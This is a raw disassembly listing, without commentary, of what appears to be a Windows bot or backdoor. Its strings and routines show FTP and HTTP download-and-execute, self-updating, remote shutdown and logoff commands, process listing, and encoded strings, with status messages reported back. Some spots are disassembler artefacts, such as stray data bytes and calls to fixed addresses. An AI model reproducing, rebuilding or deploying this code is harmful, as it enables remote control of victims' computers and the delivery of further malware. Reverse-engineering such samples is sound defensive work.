; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F60
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F60
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F60
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F60
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F60
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_443EE8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F60
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+58h+var_3C]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44790F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		push	1
		mov	byte_4E6E74, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FEC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28A03CEh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28A03CEh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A03CEh


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
